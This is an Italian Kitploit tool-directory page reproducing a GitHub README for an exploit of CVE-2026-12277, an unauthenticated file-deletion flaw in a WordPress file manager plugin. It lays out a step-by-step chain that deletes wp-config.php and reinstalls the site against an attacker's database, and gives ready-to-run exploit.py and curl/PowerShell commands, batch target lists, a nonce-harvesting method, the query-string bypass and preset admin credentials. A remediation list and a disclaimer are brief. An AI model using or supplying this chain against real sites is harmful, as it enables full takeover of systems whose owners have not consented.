Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-12277 — Plugin Frontend File Manager (WordPress) <= 23.6 - Eliminazione arbitraria di file non autenticata a RCE | Kitploit
Strumenti/GitHubGitHub/moritakaaz/cve-2026-12277
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Plugin Frontend File Manager (WordPress) <= 23.6 - Eliminazione arbitraria di file non autenticata a RCE

Vedi Repository
22 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-12277

Plugin Frontend File Manager (WordPress) <= 23.6 – Eliminazione arbitraria di file non autenticata a RCE

Riepilogo

CampoValore
CVECVE-2026-12277
PluginFrontend File Manager Plugin (nmedia-user-file-uploader)
Versione affetta<= 23.6
TipoEliminazione arbitraria di file non autenticata
CVSS8.7 (ALTO)
CWECWE-73 (Controllo esterno del nome o del percorso del file)
PrerequisitoModalità di upload ospite abilitata
PatchNessuna (al luglio 2026)
RicercatoreChamseddine Bouzaiene

Causa principale

Il plugin memorizza i percorsi dei file caricati nei metadati degli articoli (wpfm_dir_path). L'endpoint AJAX wpfm_file_meta_update:

  1. Ha il controllo nonce commentato (righe 769-771 in files.php)
  2. È registrato come nopriv (accessibile senza autenticazione)
  3. La difesa unset($_REQUEST['wpfm_dir_path']) può essere bypassata grazie a stranezze del request_order di PHP (invio tramite query string)

Quando viene chiamato wpfm_delete_file, legge wpfm_dir_path dai metadati dell'articolo ed esegue unlink() senza alcuna validazione del percorso.

Endpoint vulnerabili

Azione AJAXNonce richiestoAutenticazione richiestanopriv
wpfm_file_meta_updateNO (commentato)NoSì (sempre)
wpfm_delete_fileSìNoSì (sempre)
wpfm_upload_fileSìNoSì (se upload ospite attivo)

Catena di sfruttamento

root@kitploit:~
1. Rilevare plugin + upload ospite abilitato
2. Estrarre automaticamente il nonce AJAX dalla pagina frontend (campo input nascosto)
3. Caricare file come ospite OPPURE forzare l'ID del post esistente
4. Sovrascrivere wpfm_dir_path tramite bypass query string → puntare a wp-config.php
5. Attivare wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra in modalità di configurazione (setup-config.php)
7. Completare la configurazione con un database controllato dall'attaccante
8. Accedere come admin → takeover completo

File

FileDescrizione
exploit.pyExploit Python completo (rilevamento → sfruttamento → takeover)
poc_curl.shPoC Bash/curl (Linux)
poc_curl.ps1PoC PowerShell/curl (Windows)
lists.txtURL target (uno per riga, per modalità batch)
requirements.txtDipendenze Python

Utilizzo

Exploit Python (completamente automatico)

root@kitploit:~
# Installa dipendenze
pip install -r requirements.txt

# Exploit automatico completo (nonce rilevato automaticamente)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Solo rilevamento
python exploit.py -u http://target.com --detect-only

# Con nonce manuale (se il rilevamento automatico fallisce)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# Con proxy Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Configurazione database attaccante personalizzata
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

Dopo lo sfruttamento – Accesso

Dopo che lo sfruttamento ha avuto successo, accedi all'amministrazione di WordPress:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

PoC curl (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

PoC curl (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Argomenti

ArgomentoObbligatorioDescrizione
-u, --urlSìURL del target WordPress
-p, --pathNoPercorso assoluto di wp-config.php sul server
--nonceNoNonce AJAX (salta estrazione automatica)
--dbnameNoNome del database attaccante (default: wp_pwned)
--dbuserNoUtente del database attaccante (default: root)
--dbpassNoPassword del database attaccante
--dbhostNoHost del database attaccante (default: localhost)
--proxyNoProxy HTTP (es. http://127.0.0.1:8080)
--timeoutNoTimeout richiesta in secondi (default: 15)
--detect-onlyNoSolo rilevamento della vulnerabilità, non sfruttare

Come funziona l'estrazione automatica del nonce

L'exploit cerca automaticamente wpfm_ajax_nonce in:

  1. Slug di pagina comuni: /file-manager/, /upload/, /files/, /file-upload/, ecc.
  2. File diretto: /file-manager.php
  3. Tutti i link interni trovati nella homepage (crawling)
  4. WP REST API (/wp-json/)

Il nonce appare come campo input nascosto:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

Oppure in JavaScript localizzato:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Tecnica di bypass del percorso

Il codice fa unset($_REQUEST['wpfm_dir_path']) per impedire la sovrascrittura diretta. Il bypass:

  1. Iniezione nella query string: invia wpfm_dir_path tramite parametro URL mentre gli altri dati vanno nel corpo POST. Il comportamento di unione di $_REQUEST di PHP permette al valore di persistere a seconda della configurazione di request_order.

  2. Pre-impostato durante il flusso di caricamento: il meta wpfm_dir_path viene impostato durante gli hook iniziali di caricamento file. Se sfruttato in quella fase, non è necessario alcun bypass.

Ambiente testato

ComponenteVersione
WordPress6.9.4
PHP8.2.12
PluginFrontend File Manager 23.6
OSWindows (XAMPP) / Linux
RisultatoTakeover completo confermato

Riferimenti al codice vulnerabile

Nonce disabilitato (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Scrittura arbitraria dei metadati (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Bypass dell'autorizzazione (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Quando l'upload ospite è ON → !$allow_guest = false → l'intero controllo viene SALTATO

Eliminazione non validata (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // da wpfm_dir_path meta - NESSUNA VALIDAZIONE
    if (file_exists($file_path)) {
        unlink($file_path);    // ELIMINAZIONE ARBITRARIA DI FILE
    }
}

Risoluzione percorso (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NESSUNA canonicalizzazione, NESSUN controllo realpath
}

Rimedio

  • Rimuovere il commento dalla verifica nonce in wpfm_file_meta_update
  • Validare wpfm_dir_path rispetto alla directory di upload utilizzando realpath() + controllo del prefisso
  • Non permettere mai input controllato dall'utente nei percorsi di eliminazione file
  • Aggiungere controlli di autorizzazione adeguati indipendentemente dall'impostazione dell'upload ospite

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre un'autorizzazione scritta prima di eseguire test.

Scarica lo strumento